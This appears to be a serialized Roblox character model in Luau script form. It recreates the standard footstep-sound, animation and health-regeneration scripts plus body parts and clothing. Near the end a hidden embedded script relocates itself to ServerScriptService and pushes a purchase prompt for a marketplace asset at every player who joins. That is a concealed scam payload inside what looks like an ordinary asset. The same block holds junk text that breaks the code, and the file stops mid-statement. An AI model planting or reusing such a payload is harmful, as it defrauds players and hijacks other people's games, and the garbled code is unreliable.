- -- Table of Enum.HumanoidStateType to handling function
- local stateUpdateHandler = {
- [Enum.HumanoidStateType.Dead] = function()
- stopPlayingLoopedSoundsExcept()
- local sound = Sounds[SFX.Died]
- Util.Play(sound)
- end;
- [Enum.HumanoidStateType.RunningNoPhysics] = function()
- stateUpdated(Enum.HumanoidStateType.Running)
- end;
- [Enum.HumanoidStateType.Running] = function()
- local sound = Sounds[SFX.Running]
- stopPlayingLoopedSoundsExcept(sound)
- if Util.HorizontalSpeed(Head) > 0.5 then
- Util.Resume(sound)
- setSoundInPlayingLoopedSounds(sound)
- else
- stopPlayingLoopedSoundsExcept()
- end
- end;
- [Enum.HumanoidStateType.Swimming] = function()
- if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then
- local splashSound = Sounds[SFX.Splash]
- splashSound.Volume = Util.Clamp(
- Util.YForLineGivenXAndTwoPts(
- Util.VerticalSpeed(Head),
- 100, 0.28,
- 350, 1),
- 0,1)
- Util.Play(splashSound)
- end
- do
- local sound = Sounds[SFX.Swimming]
- stopPlayingLoopedSoundsExcept(sound)
- Util.Resume(sound)
- setSoundInPlayingLoopedSounds(sound)
- end
- end;
- [Enum.HumanoidStateType.Climbing] = function()
- local sound = Sounds[SFX.Climbing]
- if Util.VerticalSpeed(Head) > 0.1 then
- Util.Resume(sound)
- stopPlayingLoopedSoundsExcept(sound)
- else
- stopPlayingLoopedSoundsExcept()
- end
- setSoundInPlayingLoopedSounds(sound)
- end;
- [Enum.HumanoidStateType.Jumping] = function()
- if activeState == Enum.HumanoidStateType.Jumping then
- return
- end
- stopPlayingLoopedSoundsExcept()
- local sound = Sounds[SFX.Jumping]
- Util.Play(sound)
- end;
- [Enum.HumanoidStateType.GettingUp] = function()
- stopPlayingLoopedSoundsExcept()
- local sound = Sounds[SFX.GettingUp]
- Util.Play(sound)
- end;
- [Enum.HumanoidStateType.Freefall] = function()
- if activeState == Enum.HumanoidStateType.Freefall then
- return
- end
- local sound = Sounds[SFX.FreeFalling]
- sound.Volume = 0
- stopPlayingLoopedSoundsExcept()
- end;
- [Enum.HumanoidStateType.FallingDown] = function()
- stopPlayingLoopedSoundsExcept()
- end;
- [Enum.HumanoidStateType.Landed] = function()
- stopPlayingLoopedSoundsExcept()
- if Util.VerticalSpeed(Head) > 75 then
- local landingSound = Sounds[SFX.Landing]
- landingSound.Volume = Util.Clamp(
- Util.YForLineGivenXAndTwoPts(
- Util.VerticalSpeed(Head),
- 50, 0,
- 100, 1),
- 0,1)
- Util.Play(landingSound)
- end
- end;
- [Enum.HumanoidStateType.Seated] = function()
- stopPlayingLoopedSoundsExcept()
- end;
- }
- -- Handle state event fired or OnChange fired
- function stateUpdated(state)
- if stateUpdateHandler[state] ~= nil then
- stateUpdateHandler[state]()
- end
- activeState = state
- end
- Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
- Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end)
- Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end)
- Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end)
- Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
- Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
- Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
- Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
- -- required for proper handling of Landed event
- Humanoid.StateChanged:connect(function(old, new)
- stateUpdated(new)
- end)
- function onUpdate(stepDeltaSeconds, tickSpeedSeconds)
- local stepScale = stepDeltaSeconds / tickSpeedSeconds
- do
- local sound = Sounds[SFX.FreeFalling]
- if activeState == Enum.HumanoidStateType.Freefall then
- if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then
- Util.Resume(sound)
- --Volume takes 1.1 seconds to go from volume 0 to 1
- local ANIMATION_LENGTH_SECONDS = 1.1
- local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS
- sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1)
- else
- sound.Volume = 0
- end
- else
- Util.Pause(sound)
- end
- end
- do
- local sound = Sounds[SFX.Running]
- if activeState == Enum.HumanoidStateType.Running then
- if Util.HorizontalSpeed(Head) < 0.5 then
- Util.Pause(sound)
- end
- end
- end
- end
- local lastTick = tick()
- local TICK_SPEED_SECONDS = 0.25
- while true do
- onUpdate(tick() - lastTick,TICK_SPEED_SECONDS)
- lastTick = tick()
- wait(TICK_SPEED_SECONDS)
- end
- end
- end))
- LocalSound.Name = "LocalSound"
- LocalSound.Parent = Sound
- table.insert(functions,sandbox(Animate,function()
- function waitForChild(parent, childName)
- local child = parent:findFirstChild(childName)
- if child then return child end
- while true do
- child = parent.ChildAdded:wait()
- if child.Name==childName then return child end
- end
- end
- local Figure = script.Parent
- local Humanoid = waitForChild(Figure, "Humanoid")
- local pose = "Standing"
- local currentAnim = ""
- local currentAnimInstance = nil
- local currentAnimTrack = nil
- local currentAnimKeyframeHandler = nil
- local currentAnimSpeed = 1.0
- local runAnimTrack = nil
- local runAnimKeyframeHandler = nil
- local animTable = {}
- local animNames = {
- idle = {
- { id = "http://www.roblox.com/asset/?id=507766666", weight = 1 },
- { id = "http://www.roblox.com/asset/?id=507766951", weight = 1 },
- { id = "http://www.roblox.com/asset/?id=507766388", weight = 9 }
- },
- walk = {
- { id = "http://www.roblox.com/asset/?id=507777826", weight = 10 }
- },
- run = {
- { id = "http://www.roblox.com/asset/?id=507767714", weight = 10 }
- },
- swim = {
- { id = "http://www.roblox.com/asset/?id=507784897", weight = 10 }
- },
- swimidle = {
- { id = "http://www.roblox.com/asset/?id=507785072", weight = 10 }
- },
- jump = {
- { id = "http://www.roblox.com/asset/?id=507765000", weight = 10 }
- },
- fall = {
- { id = "http://www.roblox.com/asset/?id=507767968", weight = 10 }
- },
- climb = {
- { id = "http://www.roblox.com/asset/?id=507765644", weight = 10 }
- },
- sit = {
- { id = "http://www.roblox.com/asset/?id=507768133", weight = 10 }
- },
- toolnone = {
- { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
- },
- toolslash = {
- { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
- -- { id = "slash.xml", weight = 10 }
- },
- toollunge = {
- { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
- },
- wave = {
- { id = "http://www.roblox.com/asset/?id=507770239", weight = 10 }
- },
- point = {
- { id = "http://www.roblox.com/asset/?id=507770453", weight = 10 }
- },
- dance = {
- { id = "http://www.roblox.com/asset/?id=507771019", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507771955", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507772104", weight = 10 }
- },
- dance2 = {
- { id = "http://www.roblox.com/asset/?id=507776043", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507776720", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507776879", weight = 10 }
- },
- dance3 = {
- { id = "http://www.roblox.com/asset/?id=507777268", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507777451", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507777623", weight = 10 }
- },
- laugh = {
- { id = "http://www.roblox.com/asset/?id=507770818", weight = 10 }
- },
- cheer = {
- { id = "http://www.roblox.com/asset/?id=507770677", weight = 10 }
- },
- }
- -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
- local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
- math.randomseed(tick())
- function configureAnimationSet(name, fileList)
- if (animTable[name] ~= nil) then
- for _, connection in pairs(animTable[name].connections) do
- connection:disconnect()
- end
- end
- animTable[name] = {}
- animTable[name].count = 0
- animTable[name].totalWeight = 0
- animTable[name].connections = {}
- local allowCustomAnimations = true
- local AllowDisableCustomAnimsUserFlag = true
- local success, msg = pcall(function()
- AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims")
- end)
- if (AllowDisableCustomAnimsUserFlag) then
- local ps = game:GetService("StarterPlayer"):FindFirstChild("PlayerSettings")
- if (ps ~= nil) then
- allowCustomAnimations = not require(ps).UseDefaultAnimations
- end
- end
- -- check for config values
- local config = script:FindFirstChild(name)
- if (allowCustomAnimations and config ~= nil) then
- table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
- table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
- local idx = 1
- for _, childPart in pairs(config:GetChildren()) do
- if (childPart:IsA("Animation")) then
- table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
- animTable[name][idx] = {}
- animTable[name][idx].anim = childPart
- local weightObject = childPart:FindFirstChild("Weight")
- if (weightObject == nil) then
- animTable[name][idx].weight = 1
- else
- animTable[name][idx].weight = weightObject.Value
- end
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
- -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
- idx = idx + 1
- end
- end
- end
- -- fallback to defaults
- if (animTable[name].count <= 0) then
- for idx, anim in pairs(fileList) do
- animTable[name][idx] = {}
- animTable[name][idx].anim = Instance.new("Animation")
- animTable[name][idx].anim.Name = name
- animTable[name][idx].anim.AnimationId = anim.id
- animTable[name][idx].weight = anim.weight
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
- -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
- end
- end
- end
- -- Setup animation objects
- function scriptChildModified(child)
- local fileList = animNames[child.Name]
- if (fileList ~= nil) then
- configureAnimationSet(child.Name, fileList)
- end
- end
- script.ChildAdded:connect(scriptChildModified)
- script.ChildRemoved:connect(scriptChildModified)
- for name, fileList in pairs(animNames) do
- configureAnimationSet(name, fileList)
- end
- -- ANIMATION
- -- declarations
- local toolAnim = "None"
- local toolAnimTime = 0
- local jumpAnimTime = 0
- local jumpAnimDuration = 0.31
- local toolTransitionTime = 0.1
- local fallTransitionTime = 0.2
- -- functions
- function stopAllAnimations()
- local oldAnim = currentAnim
- -- return to idle if finishing an emote
- if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
- oldAnim = "idle"
- end
- currentAnim = ""
- currentAnimInstance = nil
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop()
- currentAnimTrack:Destroy()
- currentAnimTrack = nil
- end
- -- clean up walk if there is one
- if (runAnimKeyframeHandler ~= nil) then
- runAnimKeyframeHandler:disconnect()
- end
- if (runAnimTrack ~= nil) then
- runAnimTrack:Stop()
- runAnimTrack:Destroy()
- runAnimTrack = nil
- end
- return oldAnim
- end
- local smallButNotZero = 0.0001
- function setRunSpeed(speed)
- if speed < 0.33 then
- currentAnimTrack:AdjustWeight(1.0)
- runAnimTrack:AdjustWeight(smallButNotZero)
- elseif speed < 0.66 then
- local weight = ((speed - 0.33) / 0.33)
- currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
- runAnimTrack:AdjustWeight(weight + smallButNotZero)
- else
- currentAnimTrack:AdjustWeight(smallButNotZero)
- runAnimTrack:AdjustWeight(1.0)
- end
- local speedScaled = speed * 1.25
- runAnimTrack:AdjustSpeed(speedScaled)
- currentAnimTrack:AdjustSpeed(speedScaled)
- end
- function setAnimationSpeed(speed)
- if speed ~= currentAnimSpeed then
- currentAnimSpeed = speed
- if currentAnim == "walk" then
- setRunSpeed(speed)
- else
- currentAnimTrack:AdjustSpeed(currentAnimSpeed)
- end
- end
- end
- function keyFrameReachedFunc(frameName)
- -- print("CurrentAnim ", currentAnim, " ", frameName)
- if (frameName == "End") then
- if currentAnim == "walk" then
- runAnimTrack.TimePosition = 0.0
- currentAnimTrack.TimePosition = 0.0
- else
- -- print("Keyframe : ".. frameName)
- local repeatAnim = currentAnim
- -- return to idle if finishing an emote
- if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
- repeatAnim = "idle"
- end
- local animSpeed = currentAnimSpeed
- playAnimation(repeatAnim, 0.15, Humanoid)
- setAnimationSpeed(animSpeed)
- end
- end
- end
- function rollAnimation(animName)
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- return idx
- end
- function playAnimation(animName, transitionTime, humanoid)
- local idx = rollAnimation(animName)
- -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- -- switch animation
- if (anim ~= currentAnimInstance) then
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop(transitionTime)
- currentAnimTrack:Destroy()
- end
- if (runAnimTrack ~= nil) then
- runAnimTrack:Stop(transitionTime)
- runAnimTrack:Destroy()
- end
- currentAnimSpeed = 1.0
- -- load it to the humanoid; get AnimationTrack
- currentAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- currentAnimTrack:Play(transitionTime)
- currentAnim = animName
- currentAnimInstance = anim
- -- set up keyframe name triggers
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
- -- check to see if we need to blend a walk/run animation
- if animName == "walk" then
- local runAnimName = "run"
- local runIdx = rollAnimation(runAnimName)
- runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
- runAnimTrack:Play(transitionTime)
- if (runAnimKeyframeHandler ~= nil) then
- runAnimKeyframeHandler:disconnect()
- end
- runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
- end
- end
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- local toolAnimName = ""
- local toolAnimTrack = nil
- local toolAnimInstance = nil
- local currentToolAnimKeyframeHandler = nil
- function toolKeyFrameReachedFunc(frameName)
- if (frameName == "End") then
- -- print("Keyframe : ".. frameName)
- playToolAnimation(toolAnimName, 0.0, Humanoid)
- end
- end
- function playToolAnimation(animName, transitionTime, humanoid)
- local idx = rollAnimation(animName)
- -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- if (toolAnimInstance ~= anim) then
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- transitionTime = 0
- end
- -- load it to the humanoid; get AnimationTrack
- toolAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- toolAnimTrack:Play(transitionTime)
- toolAnimName = animName
- toolAnimInstance = anim
- currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
- end
- end
- function stopToolAnimations()
- local oldAnim = toolAnimName
- if (currentToolAnimKeyframeHandler ~= nil) then
- currentToolAnimKeyframeHandler:disconnect()
- end
- toolAnimName = ""
- toolAnimInstance = nil
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- toolAnimTrack = nil
- end
- return oldAnim
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- function onRunning(speed)
- if speed > 0.01 then
- local scale = 16.0
- playAnimation("walk", 0.1, Humanoid)
- setAnimationSpeed(speed / scale)
- pose = "Running"
- else
- if emoteNames[currentAnim] == nil then
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- end
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- playAnimation("jump", 0.1, Humanoid)
- jumpAnimTime = jumpAnimDuration
- pose = "Jumping"
- end
- function onClimbing(speed)
- local scale = 5.0
- playAnimation("climb", 0.1, Humanoid)
- setAnimationSpeed(speed / scale)
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- if (jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- end
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function onPlatformStanding()
- pose = "PlatformStanding"
- end
- function onSwimming(speed)
- if speed > 1.00 then
- local scale = 10.0
- playAnimation("swim", 0.4, Humanoid)
- setAnimationSpeed(speed / scale)
- pose = "Swimming"
- else
- playAnimation("swimidle", 0.4, Humanoid)
- pose = "Standing"
- end
- end
- function getTool()
- for _, kid in ipairs(Figure:GetChildren()) do
- if kid.className == "Tool" then return kid end
- end
- return nil
- end
- function animateTool()
- if (toolAnim == "None") then
- playToolAnimation("toolnone", toolTransitionTime, Humanoid)
- return
- end
- if (toolAnim == "Slash") then
- playToolAnimation("toolslash", 0, Humanoid)
- return
- end
- if (toolAnim == "Lunge") then
- playToolAnimation("toollunge", 0, Humanoid)
- return
- end
- end
- function getToolAnim(tool)
- for _, c in ipairs(tool:GetChildren()) do
- if c.Name == "toolanim" and c.className == "StringValue" then
- return c
- end
- end
- return nil
- end
- local lastTick = 0
- function move(time)
- local amplitude = 1
- local frequency = 1
- local deltaTime = time - lastTick
- lastTick = time
- local climbFudge = 0
- local setAngles = false
- if (jumpAnimTime > 0) then
- jumpAnimTime = jumpAnimTime - deltaTime
- end
- if (pose == "FreeFall" and jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- elseif (pose == "Seated") then
- playAnimation("sit", 0.5, Humanoid)
- return
- elseif (pose == "Running") then
- playAnimation("walk", 0.1, Humanoid)
- elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
- stopAllAnimations()
- amplitude = 0.1
- frequency = 1
- setAngles = true
- end
- -- Tool Animation handling
- local tool = getTool()
- if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then
- local animStringValueObject = getToolAnim(tool)
- if animStringValueObject then
- toolAnim = animStringValueObject.Value
- -- message recieved, delete StringValue
- animStringValueObject.Parent = nil
- toolAnimTime = time + .3
- end
- if time > toolAnimTime then
- toolAnimTime = 0
- toolAnim = "None"
- end
- animateTool()
- else
- stopToolAnimations()
- toolAnim = "None"
- toolAnimInstance = nil
- toolAnimTime = 0
- end
- end
- -- connect events
- Humanoid.Died:connect(onDied)
- Humanoid.Running:connect(onRunning)
- Humanoid.Jumping:connect(onJumping)
- Humanoid.Climbing:connect(onClimbing)
- Humanoid.GettingUp:connect(onGettingUp)
- Humanoid.FreeFalling:connect(onFreeFall)
- Humanoid.FallingDown:connect(onFallingDown)
- Humanoid.Seated:connect(onSeated)
- Humanoid.PlatformStanding:connect(onPlatformStanding)
- Humanoid.Swimming:connect(onSwimming)
- -- setup emote chat hook
- Game.Players.LocalPlayer.Chatted:connect(function(msg)
- local emote = ""
- if (string.sub(msg, 1, 3) == "/e ") then
- emote = string.sub(msg, 4)
- elseif (string.sub(msg, 1, 7) == "/emote ") then
- emote = string.sub(msg, 8)
- end
- if (pose == "Standing" and emoteNames[emote] ~= nil) then
- playAnimation(emote, 0.1, Humanoid)
- end
- -- print("===> " .. string.sub(msg, 1, 3) .. "(" .. emote .. ")")
- end)
- -- initialize to idle
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- -- loop to handle timed state transitions and tool animations
- while Figure.Parent~=nil do
- local _, time = wait(0.1)
- move(time)
- end
- end))
- Animate.Name = "Animate"
- Animate.Parent = iwantbanthisgame
- climb.Name = "climb"
- climb.Parent = Animate
- ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=507765644"
- ClimbAnim.Name = "ClimbAnim"
- ClimbAnim.Parent = climb
- fall.Name = "fall"
- fall.Parent = Animate
- FallAnim.AnimationId = "http://www.roblox.com/asset/?id=507767968"
- FallAnim.Name = "FallAnim"
- FallAnim.Parent = fall
- idle.Name = "idle"
- idle.Parent = Animate
- Animation1.AnimationId = "http://www.roblox.com/asset/?id=507766388"
- Animation1.Name = "Animation1"
- Animation1.Parent = idle
- Weight.Value = 9
- Weight.Name = "Weight"
- Weight.Parent = Animation1
- Animation2.AnimationId = "http://www.roblox.com/asset/?id=507766666"
- Animation2.Name = "Animation2"
- Animation2.Parent = idle
- Weight_1.Value = 1
- Weight_1.Name = "Weight"
- Weight_1.Parent = Animation2
- jump.Name = "jump"
- jump.Parent = Animate
- JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=507765000"
- JumpAnim.Name = "JumpAnim"
- JumpAnim.Parent = jump
- run.Name = "run"
- run.Parent = Animate
- RunAnim.AnimationId = "http://www.roblox.com/asset/?id=507767714"
- RunAnim.Name = "RunAnim"
- RunAnim.Parent = run
- sit.Name = "sit"
- sit.Parent = Animate
- SitAnim.AnimationId = "http://www.roblox.com/asset/?id=507768133"
- SitAnim.Name = "SitAnim"
- SitAnim.Parent = sit
- toollunge.Name = "toollunge"
- toollunge.Parent = Animate
- ToolLungeAnim.AnimationId = "http://www.roblox.com/asset/?id=507768375"
- ToolLungeAnim.Name = "ToolLungeAnim"
- ToolLungeAnim.Parent = toollunge
- walk.Name = "walk"
- walk.Parent = Animate
- WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=540798782"
- WalkAnim.Name = "WalkAnim"
- WalkAnim.Parent = walk
- swimidle.Name = "swimidle"
- swimidle.Parent = Animate
- SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=481825862"
- SwimIdle.Name = "SwimIdle"
- SwimIdle.Parent = swimidle
- swim.Name = "swim"
- swim.Parent = Animate
- Swim.AnimationId = "http://www.roblox.com/asset/?id=507784897"
- Swim.Name = "Swim"
- Swim.Parent = swim
- toolslash.Name = "toolslash"
- toolslash.Parent = Animate
- ToolSlashAnim.AnimationId = "http://www.roblox.com/asset/?id=507768375"
- ToolSlashAnim.Name = "ToolSlashAnim"
- ToolSlashAnim.Parent = toolslash
- toolnone.Name = "toolnone"
- toolnone.Parent = Animate
- ToolNoneAnim.AnimationId = "http://www.roblox.com/asset/?id=507768375"
- ToolNoneAnim.Name = "ToolNoneAnim"
- ToolNoneAnim.Parent = toolnone
- wave.Name = "wave"
- wave.Parent = Animate
- WaveAnim.AnimationId = "http://www.roblox.com/asset/?id=507770239"
- WaveAnim.Name = "WaveAnim"
- WaveAnim.Parent = wave
- laugh.Name = "laugh"
- laugh.Parent = Animate
- LaughAnim.AnimationId = "http://www.roblox.com/asset/?id=507770818"
- LaughAnim.Name = "LaughAnim"
- LaughAnim.Parent = laugh
- point.Name = "point"
- point.Parent = Animate
- PointAnim.AnimationId = "http://www.roblox.com/asset/?id=507770453"
- PointAnim.Name = "PointAnim"
- PointAnim.Parent = point
- cheer.Name = "cheer"
- cheer.Parent = Animate
- CheerAnim.AnimationId = "http://www.roblox.com/asset/?id=507770677"
- CheerAnim.Name = "CheerAnim"
- CheerAnim.Parent = cheer
- dance.Name = "dance"
- dance.Parent = Animate
- Animation1_1.AnimationId = "http://www.roblox.com/asset/?id=507771019"
- Animation1_1.Name = "Animation1"
- Animation1_1.Parent = dance
- Weight_2.Value = 10
- Weight_2.Name = "Weight"
- Weight_2.Parent = Animation1_1
- Animation2_1.AnimationId = "http://www.roblox.com/asset/?id=507771955"
- Animation2_1.Name = "Animation2"
- Animation2_1.Parent = dance
- Weight_3.Value = 10
- Weight_3.Name = "Weight"
- Weight_3.Parent = Animation2_1
- Animation3.AnimationId = "http://www.roblox.com/asset/?id=507772104"
- Animation3.Name = "Animation3"
- Animation3.Parent = dance
- Weight_4.Value = 10
- Weight_4.Name = "Weight"
- Weight_4.Parent = Animation3
- dance2.Name = "dance2"
- dance2.Parent = Animate
- Animation1_2.AnimationId = "http://www.roblox.com/asset/?id=507776043"
- Animation1_2.Name = "Animation1"
- Animation1_2.Parent = dance2
- Weight_5.Value = 10
- Weight_5.Name = "Weight"
- Weight_5.Parent = Animation1_2
- Animation2_2.AnimationId = "http://www.roblox.com/asset/?id=507776720"
- Animation2_2.Name = "Animation2"
- Animation2_2.Parent = dance2
- Weight_6.Value = 10
- Weight_6.Name = "Weight"
- Weight_6.Parent = Animation2_2
- Animation3_1.AnimationId = "http://www.roblox.com/asset/?id=507776879"
- Animation3_1.Name = "Animation3"
- Animation3_1.Parent = dance2
- Weight_7.Value = 10
- Weight_7.Name = "Weight"
- Weight_7.Parent = Animation3_1
- dance3.Name = "dance3"
- dance3.Parent = Animate
- Animation1_3.AnimationId = "http://www.roblox.com/asset/?id=507777268"
- Animation1_3.Name = "Animation1"
- Animation1_3.Parent = dance3
- Weight_8.Value = 10
- Weight_8.Name = "Weight"
- Weight_8.Parent = Animation1_3
- Animation2_3.AnimationId = "http://www.roblox.com/asset/?id=507777451"
- Animation2_3.Name = "Animation2"
- Animation2_3.Parent = dance3
- Weight_9.Value = 10
- Weight_9.Name = "Weight"
- Weight_9.Parent = Animation2_3
- Animation3_2.AnimationId = "http://www.roblox.com/asset/?id=507777623"
- Animation3_2.Name = "Animation3"
- Animation3_2.Parent = dance3
- Weight_10.Value = 10
- Weight_10.Name = "Weight"
- Weight_10.Parent = Animation3_2
- table.insert(functions,sandbox(Health,function()
- --Responsible for regening a player's humanoid's health
- -- declarations
- local Figure = script.Parent
- local Head = Figure:WaitForChild("Head")
- local Humanoid = Figure:WaitForChild("Humanoid")
- local regening = false
- -- regeneration
- function regenHealth()
- if regening then return end
- regening = true
- while Humanoid.Health < Humanoid.MaxHealth do
- local s = wait(1)
- local health = Humanoid.Health
- if health > 0 and health < Humanoid.MaxHealth then
- local newHealthDelta = 0.01 * s * Humanoid.MaxHealth
- health = health + newHealthDelta
- Humanoid.Health = math.min(health,Humanoid.MaxHealth)
- end
- end
- if Humanoid.Health > Humanoid.MaxHealth then
- Humanoid.Health = Humanoid.MaxHealth
- end
- regening = false
- end
- Humanoid.HealthChanged:connect(regenHealth)
- end))
- Health.Name = "Health"
- Health.Parent = iwantbanthisgame
- LeftUpperLeg.Anchored = true
- LeftUpperLeg.CFrame = CFrame.new(-68.54,1.562,-14.719,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- LeftUpperLeg.CanCollide = false
- LeftUpperLeg.Color = Color3.new(0.431,0.6,0.792)
- LeftUpperLeg.Size = Vector3.new(0.781,1.742,0.854)
- LeftUpperLeg.Velocity = Vector3.new(0,0,0)
- LeftUpperLeg.Name = "LeftUpperLeg"
- LeftUpperLeg.Parent = iwantbanthisgame
- OriginalSize_16.Value = Vector3.new(0.781,1.742,0.854)
- OriginalSize_16.Name = "OriginalSize"
- OriginalSize_16.Parent = LeftUpperLeg
- LeftHip.C0 = CFrame.new(-0.5,-0.353,-0.02,1,0,0,0,1,0,0,0,1)
- LeftHip.C1 = CFrame.new(-0.11,0.411,-0.01,1,0,0,0,1,0,0,0,1)
- LeftHip.Part0 = LowerTorso
- LeftHip.Part1 = LeftUpperLeg
- LeftHip.Name = "LeftHip"
- LeftHip.Parent = LeftUpperLeg
- Pants.PantsTemplate = "http://www.roblox.com/asset/?id=348211416 "
- Pants.Name = "Pants"
- Pants.Parent = iwantbanthisgame
- ROBLOXCap.AttachmentPoint = CFrame.new(0,-0.075,0.2,1,0,0,0,1,0,0,0,1)
- ROBLOXCap.AttachmentPos = Vector3.new(0,-0.075,0.2)
- ROBLOXCap.Name = "ROBLOXCap"
- ROBLOXCap.Parent = iwantbanthisgame
- Handle.Anchored = true
- Handle.BottomSurface = Enum.SurfaceType.Smooth
- Handle.CFrame = CFrame.new(-68.94,5.048,-14.526,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- Handle.CanCollide = false
- Handle.Locked = true
- Handle.Size = Vector3.new(1.2,0.8,1.4)
- Handle.TopSurface = Enum.SurfaceType.Smooth
- Handle.Velocity = Vector3.new(0,0,0)
- Handle.Name = "Handle"
- Handle.Parent = ROBLOXCap
- Mesh_1.MeshType = Enum.MeshType.FileMesh
- Mesh_1.MeshId = "http://www.roblox.com/asset?id=71483350"
- Mesh_1.TextureId = "http://www.roblox.com/asset/?id=607698990"
- Mesh_1.Scale = Vector3.new(0.66,0.66,0.66)
- Mesh_1.Parent = Handle
- OriginalSize_17.Value = Vector3.new(1.2,0.8,1.4)
- OriginalSize_17.Name = "OriginalSize"
- OriginalSize_17.Parent = Handle
- ThumbnailCamera.CFrame = CFrame.new(-0.786,18.391,20.262,-0.914,0.033,-0.405,0,0.997,0.08,0.407,0.073,-0.911)
- ThumbnailCamera.Focus = CFrame.new(-0.004,18.236,22.019,1,0,0,0,1,0,0,0,1)
- ThumbnailCamera.Name = "ThumbnailCamera"
- ThumbnailCamera.Parent = ROBLOXCap
- Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=607785311"
- Shirt.Name = "Shirt"
- Shirt.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script,function()
- test local wat= 3856660240 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_1,function()
